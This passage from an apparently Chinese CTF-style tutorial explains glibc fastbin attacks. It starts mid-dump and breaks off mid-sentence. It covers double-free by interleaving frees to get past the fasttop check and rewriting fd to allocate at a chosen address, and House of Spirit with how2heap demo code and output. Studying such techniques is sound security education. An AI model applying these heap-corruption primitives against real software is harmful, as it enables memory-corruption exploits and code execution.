0x0000000000000000 0x0000000000000000<br>0x602080: 0x0000000000000000 0x0000000000000041 <=== chunk3<br>0x602090: 0x0000000000000000 0x0000000000000000<br>0x6020a0: 0x0000000000000000 0x0000000000000000<br>0x6020b0: 0x0000000000000000 0x0000000000000000<br>0x6020c0: 0x0000000000000000 0x0000000000020f41 <=== top chunk<br>释放后:<br>0x602000: 0x0000000000000000 0x0000000000000041 <=== chunk1<br>0x602010: 0x0000000000000000 0x0000000000000000<br>0x602020: 0x0000000000000000 0x0000000000000000<br>0x602030: 0x0000000000000000 0x0000000000000000<br>0x602040: 0x0000000000000000 0x0000000000000041 <=== chunk2<br>0x602050: 0x0000000000602000 0x0000000000000000<br>0x602060: 0x0000000000000000 0x0000000000000000<br>0x602070: 0x0000000000000000 0x0000000000000000<br>0x602080: 0x0000000000000000 0x0000000000000041 <=== chunk3<br>0x602090: 0x0000000000602040 0x0000000000000000<br>0x6020a0: 0x0000000000000000 0x0000000000000000<br>0x6020b0: 0x0000000000000000 0x0000000000000000<br>0x6020c0: 0x0000000000000000 0x0000000000020f41 <=== top chunk<br></code></pre></td></tr></table></figure><p>此时位于 <code>main_arena</code> 中的 fastbin 链表中已经储存了指向 chunk3 的指针,并且 chunk 3、2、1 构成了一个单链表:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs shell">Fastbins[idx=2, size=0x30,ptr=0x602080]<br>===>Chunk(fd=0x602040, size=0x40, flags=PREV_INUSE)<br>===>Chunk(fd=0x602000, size=0x40, flags=PREV_INUSE)<br>===>Chunk(fd=0x000000, size=0x40, flags=PREV_INUSE)<br></code></pre></td></tr></table></figure><h2 id="Fast-bin-double-free"><a href="#Fast-bin-double-free" class="headerlink" title="Fast bin double free"></a>Fast bin double free</h2><p>Fastbin Double Free 是指 fastbin 的 chunk 可以被多次释放,因此可以在 fastbin 链表中存在多次。这样导致的后果是多次分配可以从 fastbin 链表中取出同一个堆块,相当于多个指针指向同一个堆块,结合堆块的数据内容可以实现类似于类型混淆 (type confused) 的效果。</p><p>Fastbin Double Free 能够成功利用主要有两部分的原因</p><ol><li>fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空</li><li>fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证。<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-comment">/* Another simple check: make sure the top of the bin is not the</span><br><span class="hljs-comment"> record we are going to add (i.e., double free). */</span><br> <span class="hljs-keyword">if</span> (__builtin_expect (old == p, <span class="hljs-number">0</span>))<br> {<br> errstr = <span class="hljs-string">"double free or corruption (fasttop)"</span>;<br> <span class="hljs-keyword">goto</span> errout;<br>}<br></code></pre></td></tr></table></figure></li></ol><p>下面的示例程序说明了这一点,当我们试图执行以下代码时:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><stdio.h></span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><stdlib.h></span></span><br><br><span class="hljs-type">int</span> <span class="hljs-title function_">main</span><span class="hljs-params">(<span class="hljs-type">void</span>)</span><br>{<br> <span class="hljs-type">void</span> *chunk1,*chunk2,*chunk3;<br> chunk1=<span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x10</span>);<br> chunk2=<span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x10</span>);<br><br> <span class="hljs-built_in">free</span>(chunk1);<br> <span class="hljs-built_in">free</span>(chunk1);<br> <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>}<br></code></pre></td></tr></table></figure><p>_int_free 函数检测到了 fastbin 的 double free</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><code class="hljs shell">*** Error in `./tst': double free or corruption (fasttop): 0x0000000002200010 ***<br>======= Backtrace: =========<br>/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7fbb7a36c7e5]<br>/lib/x86_64-linux-gnu/libc.so.6(+0x8037a)[0x7fbb7a37537a]<br>/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7fbb7a37953c]<br>./tst[0x4005a2]<br>/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7fbb7a315830]<br>./tst[0x400499]<br>======= Memory map: ========<br>00400000-00401000 r-xp 00000000 08:01 1052570 /home/Ox9A82/tst/tst<br>00600000-00601000 r--p 00000000 08:01 1052570 /home/Ox9A82/tst/tst<br>00601000-00602000 rw-p 00001000 08:01 1052570 /home/Ox9A82/tst/tst<br>02200000-02221000 rw-p 00000000 00:00 0 [heap]<br>7fbb74000000-7fbb74021000 rw-p 00000000 00:00 0<br>7fbb74021000-7fbb78000000 ---p 00000000 00:00 0<br>7fbb7a0df000-7fbb7a0f5000 r-xp 00000000 08:01 398790 /lib/x86_64-linux-gnu/libgcc_s.so.1<br>7fbb7a0f5000-7fbb7a2f4000 ---p 00016000 08:01 398790 /lib/x86_64-linux-gnu/libgcc_s.so.1<br>7fbb7a2f4000-7fbb7a2f5000 rw-p 00015000 08:01 398790 /lib/x86_64-linux-gnu/libgcc_s.so.1<br>7fbb7a2f5000-7fbb7a4b5000 r-xp 00000000 08:01 415688 /lib/x86_64-linux-gnu/libc-2.23.so<br>7fbb7a4b5000-7fbb7a6b5000 ---p 001c0000 08:01 415688 /lib/x86_64-linux-gnu/libc-2.23.so<br>7fbb7a6b5000-7fbb7a6b9000 r--p 001c0000 08:01 415688 /lib/x86_64-linux-gnu/libc-2.23.so<br>7fbb7a6b9000-7fbb7a6bb000 rw-p 001c4000 08:01 415688 /lib/x86_64-linux-gnu/libc-2.23.so<br>7fbb7a6bb000-7fbb7a6bf000 rw-p 00000000 00:00 0<br>7fbb7a6bf000-7fbb7a6e5000 r-xp 00000000 08:01 407367 /lib/x86_64-linux-gnu/ld-2.23.so<br>7fbb7a8c7000-7fbb7a8ca000 rw-p 00000000 00:00 0<br>7fbb7a8e1000-7fbb7a8e4000 rw-p 00000000 00:00 0<br>7fbb7a8e4000-7fbb7a8e5000 r--p 00025000 08:01 407367 /lib/x86_64-linux-gnu/ld-2.23.so<br>7fbb7a8e5000-7fbb7a8e6000 rw-p 00026000 08:01 407367 /lib/x86_64-linux-gnu/ld-2.23.so<br>7fbb7a8e6000-7fbb7a8e7000 rw-p 00000000 00:00 0<br>7ffcd2f93000-7ffcd2fb4000 rw-p 00000000 00:00 0 [stack]<br>7ffcd2fc8000-7ffcd2fca000 r--p 00000000 00:00 0 [vvar]<br>7ffcd2fca000-7ffcd2fcc000 r-xp 00000000 00:00 0 [vdso]<br>ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]<br></code></pre></td></tr></table></figure><p>在 chunk1 释放后,再释放 chunk2 ,这样 main_arena 就指向 chunk2 而不是 chunk1 了,此时我们再去释放 chunk1 就不再会被检测到。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><stdio.h></span></span><br><br><span class="hljs-type">int</span> <span class="hljs-title function_">main</span><span class="hljs-params">(<span class="hljs-type">void</span>)</span><br>{<br> <span class="hljs-type">void</span> *chunk1,*chunk2,*chunk3;<br> chunk1=<span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x10</span>);<br> chunk2=<span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x10</span>);<br><br> <span class="hljs-built_in">free</span>(chunk1);<br> <span class="hljs-built_in">free</span>(chunk2);<br> <span class="hljs-built_in">free</span>(chunk1);<br> <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>}<br></code></pre></td></tr></table></figure><p><img src="https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/figure/fastbin_free_chunk1.png" alt="第一次释放free(chunk1)"><br><img src="https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/figure/fastbin_free_chunk2.png" alt="第二次释放free(chunk2)"><br><img src="https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/figure/fastbin_free_chunk3.png" alt="第三次释放free(chunk1)"></p><p>因为 chunk1 被再次释放因此其 fd 值不再为 0 而是指向 chunk2,如果我们可以控制 chunk1 的内容,便可以写入其 fd 指针从而实现在我们想要的任意地址分配 fastbin 块。<br>下面这个示例演示了这一点,首先跟前面一样构造 main_arena=>chunk1=>chun2=>chunk1 的链表。之后第一次调用 malloc 返回 chunk1 之后修改 chunk1 的 fd 指针指向 bss 段上的 bss_chunk,之后我们可以看到 fastbin 会把堆块分配到这里。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><stdio.h></span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><stdlib.h></span></span><br><br><span class="hljs-keyword">typedef</span> <span class="hljs-class"><span class="hljs-keyword">struct</span> _<span class="hljs-title">chunk</span></span><br><span class="hljs-class">{</span><br> <span class="hljs-type">long</span> <span class="hljs-type">long</span> pre_size;<br> <span class="hljs-type">long</span> <span class="hljs-type">long</span> size;<br> <span class="hljs-type">long</span> <span class="hljs-type">long</span> fd;<br> <span class="hljs-type">long</span> <span class="hljs-type">long</span> bk;<br>} CHUNK,*PCHUNK;<br><br>CHUNK bss_chunk;<br><br><span class="hljs-type">int</span> <span class="hljs-title function_">main</span><span class="hljs-params">(<span class="hljs-type">void</span>)</span><br>{<br> <span class="hljs-type">void</span> *chunk1,*chunk2,*chunk3;<br> <span class="hljs-type">void</span> *chunk_a,*chunk_b;<br><br> bss_chunk.size=<span class="hljs-number">0x21</span>;<br> chunk1=<span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x10</span>);<br> chunk2=<span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x10</span>);<br><br> <span class="hljs-built_in">free</span>(chunk1);<br> <span class="hljs-built_in">free</span>(chunk2);<br> <span class="hljs-built_in">free</span>(chunk1);<br><br> chunk_a=<span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x10</span>);<br> *(<span class="hljs-type">long</span> <span class="hljs-type">long</span> *)chunk_a=&bss_chunk;<br> <span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x10</span>);<br> <span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x10</span>);<br> chunk_b=<span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x10</span>);<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%p"</span>,chunk_b);<br> <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>}<br></code></pre></td></tr></table></figure><p>输出一个位于bss段的值,这个段就是由CHUNK bss_chunk设置的。<br>_int_malloc 中的校验如下:</p><figure class="highlight arcade"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs arcade"><span class="hljs-keyword">if</span> (__builtin_expect (fastbin_index (chunksize (victim)) != idx, <span class="hljs-number">0</span>))<br> {<br> errstr = <span class="hljs-string">"malloc(): memory corruption (fast)"</span>;<br> errout:<br> malloc_printerr (check_action, errstr, chunk2mem (victim));<br> <span class="hljs-keyword">return</span> <span class="hljs-literal">NULL</span>;<br>}<br></code></pre></td></tr></table></figure><p>fastbin double free可以使用多个指针控制同一个堆块,这可以用于篡改一些堆块中的关键数据域或者是实现类似于类型混淆的效果。 如果更进一步修改 fd 指针,则能够实现任意地址分配堆块的效果 (首先要通过验证),就能达到类似于任意地址写任意值的效果。<br>施工ing……</p><h2 id="House-Of-Spirit"><a href="#House-Of-Spirit" class="headerlink" title="House Of Spirit"></a>House Of Spirit</h2><h3 id="Descirption"><a href="#Descirption" class="headerlink" title="Descirption"></a>Descirption</h3><p>核心:在目标位置处伪造 fastbin chunk,并将其释放,从而达到分配<strong>指定地址</strong>的 chunk 的目的。</p><p>要想构造 fastbin fake chunk,并且将其释放时,可以将其放入到对应的 fastbin 链表中,需要绕过一些必要的检测,即:</p><ul><li>fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理。</li><li>fake chunk 地址需要对齐, MALLOC_ALIGN_MASK</li><li>fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐。</li><li>fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem 。</li><li>fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况。</li></ul><p>以下是free部分的源码,以说明为什么需要绕过这些检测:</p><h3 id="Why"><a href="#Why" class="headerlink" title="Why?"></a>Why?</h3><ol><li>为什么 fake chunk 的 ISMMAP 位不能为1?</li></ol><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-keyword">if</span> (chunk_is_mmapped(p)) {<br> <span class="hljs-comment">// 单独处理 mmap 的 chunk</span><br> munmap_chunk(p);<br> <span class="hljs-keyword">return</span>;<br>}<br></code></pre></td></tr></table></figure><p>如果 ISMMAP 位为 1,free 会认为这个 chunk 是通过 <code>mmap</code> 分配的,会调用 <code>munmap_chunk</code> 直接归还给操作系统,而不是放入 fastbin,这样我们的 fake chunk 无法进入 fastbin 链表。</p><ol start="2"><li>为什么 fake chunk 地址需要对齐?</li></ol><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-keyword">if</span> (__glibc_unlikely(!aligned_OK(p))) {<br> errstr = <span class="hljs-string">"free(): invalid pointer"</span>;<br> <span class="hljs-keyword">goto</span> errout;<br>}<br></code></pre></td></tr></table></figure><p>堆管理器的设计假设所有 chunk 地址都是对齐的(通常是 16 字节)。如果地址不对齐,说明这个指针不可能是合法的 malloc 返回值,free 会直接拒绝处理。</p><ol start="3"><li>为什么 size 需要满足 fastbin 需求且对齐?</li></ol><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-keyword">if</span> ((<span class="hljs-type">unsigned</span> <span class="hljs-type">long</span>)(size) <= (<span class="hljs-type">unsigned</span> <span class="hljs-type">long</span>)(get_max_fast())) { ... }<br><span class="hljs-keyword">if</span> (__glibc_unlikely(size < MINSIZE || !aligned_OK(size))) { ... }<br></code></pre></td></tr></table></figure><ol><li><p><strong>size 必须在 fastbin 范围内</strong>:只有小于等于 <code>get_max_fast()</code> (通常 0x80) 的 chunk 才会进入 fastbin。如果 size 太大,free 会走 <code>unsorted bin</code> 路径,需要处理更多的检查。</p></li><li><p><strong>size 必须对齐</strong>:堆管理器依赖对齐的 size 来定位相邻 chunk。</p></li><li><p>为什么 next chunk 的大小有范围限制?</p></li></ol><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs c">nextchunk = chunk_at_offset(p, size);<br><span class="hljs-keyword">if</span> (__builtin_expect(chunksize_nomask(nextchunk) <= <span class="hljs-number">2</span> * SIZE_SZ, <span class="hljs-number">0</span>)<br> || __builtin_expect(chunksize(nextchunk) >= av->system_mem, <span class="hljs-number">0</span>)) {<br> errstr = <span class="hljs-string">"free(): invalid next size (fast)"</span>;<br> <span class="hljs-keyword">goto</span> errout;<br>}<br></code></pre></td></tr></table></figure><p>free 会检查当前 chunk 的”下一个 chunk”的大小是否”合理”:</p><ol><li><p>如果 <code><= 2 * SIZE_SZ</code>,说明下一个 chunk 太小,不可能存在合法的堆元数据。</p></li><li><p>如果 <code>>= av->system_mem</code>,说明大得不合理,超出了 arena 的管理范围。</p></li><li><p>为什么不能构成 double free?</p></li></ol><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-keyword">if</span> (__builtin_expect(old == p, <span class="hljs-number">0</span>)) {<br> errstr = <span class="hljs-string">"double free or corruption (fasttop)"</span>;<br> <span class="hljs-keyword">goto</span> errout;<br>}<br></code></pre></td></tr></table></figure><p>fastbin 采用 LIFO 结构,但为了防止简单的双重释放,会检查链表顶部的 chunk 是否和当前要释放的是同一个。如果是同一个,说明是重复释放同一个地址。</p><h3 id="Example"><a href="#Example" class="headerlink" title="Example"></a>Example</h3><p>以 how2heap 上的例子进行说明,如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><stdio.h></span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><stdlib.h></span></span><br><br><span class="hljs-type">int</span> <span class="hljs-title function_">main</span><span class="hljs-params">()</span><br>{<br> <span class="hljs-built_in">fprintf</span>(<span class="hljs-built_in">stderr</span>, <span class="hljs-string">"This file demonstrates the house of spirit attack.\n"</span>);<br><br> <span class="hljs-built_in">fprintf</span>(<span class="hljs-built_in">stderr</span>, <span class="hljs-string">"Calling malloc() once so that it sets up its memory.\n"</span>);<br> <span class="hljs-built_in">malloc</span>(<span class="hljs-number">1</span>);<br><br> <span class="hljs-built_in">fprintf</span>(<span class="hljs-built_in">stderr</span>, <span class="hljs-string">"We will now overwrite a pointer to point to a fake 'fastbin' region.\n"</span>);<br> <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> <span class="hljs-type">long</span> *a;<br> <span class="hljs-comment">// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)</span><br> <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> <span class="hljs-type">long</span> fake_chunks[<span class="hljs-number">10</span>] __attribute__ ((aligned (<span class="hljs-number">16</span>)));<br><br> <span class="hljs-built_in">fprintf</span>(<span class="hljs-built_in">stderr</span>, <span class="hljs-string">"This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n"</span>, <span class="hljs-keyword">sizeof</span>(fake_chunks), &fake_chunks[<span class="hljs-number">1</span>], &fake_chunks[<span class="hljs-number">7</span>]);<br><br> <span class="hljs-built_in">fprintf</span>(<span class="hljs-built_in">stderr</span>, <span class="hljs-string">"This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"</span>);<br> <span class="hljs-built_in">fprintf</span>(<span class="hljs-built_in">stderr</span>, <span class="hljs-string">"... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"</span>);<br> fake_chunks[<span class="hljs-number">1</span>] = <span class="hljs-number">0x40</span>; <span class="hljs-comment">// this is the size</span><br><br> <span class="hljs-built_in">fprintf</span>(<span class="hljs-built_in">stderr</span>, <span class="hljs-string">"The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"</span>);<br> <span class="hljs-comment">// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8</span><br> fake_chunks[<span class="hljs-number">9</span>] = <span class="hljs-number">0x1234</span>; <span class="hljs-comment">// nextsize</span><br><br> <span class="hljs-built_in">fprintf</span>(<span class="hljs-built_in">stderr</span>, <span class="hljs-string">"Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n"</span>, &fake_chunks[<span class="hljs-number">1</span>]);<br> <span class="hljs-built_in">fprintf</span>(<span class="hljs-built_in">stderr</span>, <span class="hljs-string">"... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"</span>);<br> a = &fake_chunks[<span class="hljs-number">2</span>];<br><br> <span class="hljs-built_in">fprintf</span>(<span class="hljs-built_in">stderr</span>, <span class="hljs-string">"Freeing the overwritten pointer.\n"</span>);<br> <span class="hljs-built_in">free</span>(a);<br><br> <span class="hljs-built_in">fprintf</span>(<span class="hljs-built_in">stderr</span>, <span class="hljs-string">"Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n"</span>, &fake_chunks[<span class="hljs-number">1</span>], &fake_chunks[<span class="hljs-number">2</span>]);<br> <span class="hljs-built_in">fprintf</span>(<span class="hljs-built_in">stderr</span>, <span class="hljs-string">"malloc(0x30): %p\n"</span>, <span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x30</span>));<br>}<br></code></pre></td></tr></table></figure><p>运行后结果如下:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><code class="hljs shell"><span class="hljs-meta prompt_"># </span><span class="language-bash">ctf @ 0553ead0ea6b <span class="hljs-keyword">in</span> ~/CTF-Workspace/fastbin-attack/House_Of_Spirit [7:12:32]</span><br><span class="hljs-meta prompt_">$ </span><span class="language-bash">./house_of_spirit</span><br>This file demonstrates the house of spirit attack.<br>Calling malloc() once so that it sets up its memory.<br>We will now overwrite a pointer to point to a fake 'fastbin' region.<br>This region (memory of length: 80) contains two chunks. The first starts at 0x7ffe74bcceb8 and the second at 0x7ffe74bccee8.<br>This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.<br>... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.<br>The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.<br>Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, 0x7ffe74bcceb8.<br>... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.<br>Freeing the overwritten pointer.<br>Now the next malloc will return the region of our fake chunk at 0x7ffe74bcceb8, which will be 0x7ffe74bccec0!<br>malloc(0x30): 0x7ffe74bccec0<br></code></pre></td></tr></table></figure><h3 id="知之为知之"><a href="#知之为知之" class="headerlink" title="知之为知之"></a>知之为知之</h3><p>单单只有这份源码和输出那很容易让人乍一看一头雾水,那我们以hollk师傅的“好好说话系列”例子来深入(经过简化后的版本)</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-comment">//gcc -g hollk1.c -o hollk1</span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><stdio.h></span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><stdlib.h></span></span><br><br><span class="hljs-type">int</span> <span class="hljs-title function_">main</span><span class="hljs-params">()</span><br>{<br> <span class="hljs-built_in">malloc</span>(<span class="hljs-number">1</span>);<br> <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> <span class="hljs-type">long</span> *a;<br> <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> <span class="hljs-type">long</span> fake_chunks[<span class="hljs-number">10</span>] __attribute__ ((aligned (<span class="hljs-number">16</span>)));<br> <span class="hljs-built_in">fprintf</span>(<span class="hljs-built_in">stderr</span>, <span class="hljs-string">"This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n"</span>, <span class="hljs-keyword">sizeof</span>(fake_chunks), &fake_chunks[<span class="hljs-number">1</span>], &fake_chunks[<span class="hljs-number">7</span>]);<br> fake_chunks[<span class="hljs-number">1</span>] = <span class="hljs-number">0x40</span>; <span class="hljs-comment">// this is the size</span><br> fake_chunks[<span class="hljs-number">9</span>] = <span class="hljs-number">0x1234</span>; <span class="hljs-comment">// nextsize</span><br> <span class="hljs-built_in">fprintf</span>(<span class="hljs-built_in">stderr</span>, <span class="hljs-string">"Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n"</span>, &fake_chunks[<span class="hljs-number">1</span>]);<br> a = &fake_chunks[<span class="hljs-number">2</span>];<br> <span class="hljs-built_in">fprintf</span>(<span class="hljs-built_in">stderr</span>,<span class="hljs-string">"%p\n"</span>,&a); <span class="hljs-comment">//自己加的</span><br> <span class="hljs-built_in">free</span>(a);<br> <span class="hljs-built_in">fprintf</span>(<span class="hljs-built_in">stderr</span>, <span class="hljs-string">"Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n"</span>, &fake_chunks[<span class="hljs-number">1</span>], &fake_chunks[<span class="hljs-number">2</span>]);<br> <span class="hljs-built_in">fprintf</span>(<span class="hljs-built_in">stderr</span>, <span class="hljs-string">"malloc(0x30): %p\n"</span>, <span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x30</span>));<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"hollk"</span>); <span class="hljs-comment">//为了下断点调试,加了个puts函数</span><br>}<br></code></pre></td></tr></table></figure><p>简单的讲一下这个例子的流程:</p><ol><li>首先malloc(1)创建了一个0x1大小的chunk</li><li>接着定义了一个long long类型的指针a,和一个long long类型的数组fake_chunks[10],需要注意的是后面的__attribute__ ((aligned 